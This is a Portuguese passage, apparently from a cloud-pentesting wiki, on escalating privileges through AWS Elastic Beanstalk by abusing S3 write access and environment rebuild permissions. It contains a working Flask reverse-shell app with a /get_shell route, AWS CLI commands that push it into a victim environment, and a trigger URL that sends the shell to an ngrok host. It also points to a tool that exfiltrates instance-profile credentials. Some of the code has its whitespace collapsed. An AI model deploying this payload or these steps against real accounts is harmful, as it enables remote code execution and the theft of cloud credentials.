Para realizar ações sensíveis no Beanstalk, você precisará ter muitas permissões sensíveis em muitos serviços diferentes. Você pode verificar, por exemplo, as permissões concedidas a arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, permissões de escrita no S3 e muitas outras
Com permissões de escrita sobre o bucket S3 que contém o código do ambiente e permissões para reconstruir a aplicação (é necessário elasticbeanstalk:RebuildEnvironment e mais algumas relacionadas a S3, EC2 e Cloudformation), você pode modificar o código, reconstruir o app e, na próxima vez que acessar o app, ele executará seu novo código, permitindo que o atacante comprometa a aplicação e as credenciais do papel IAM dela.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, e mais...
As permissões mencionadas, além de várias permissões de S3, EC2, cloudformation, autoscaling e elasticloadbalancing, são necessárias para criar um cenário básico do Elastic Beanstalk do zero.
Primeiro de tudo, você precisa criar um ambiente Beanstalk legítimo com o código que você gostaria de executar na vítima, seguindo os passos anteriores. Potencialmente, um simples zip contendo esses 2 arquivos:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Uma vez que você tenha seu próprio ambiente Beanstalk em execução seu rev shell, é hora de migrá-lo para o ambiente da vítima. Para isso, você precisa atualizar a Política do Bucket do seu bucket S3 do beanstalk para que a vítima possa acessá-lo (Note que isso abrirá o Bucket para TODOS):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
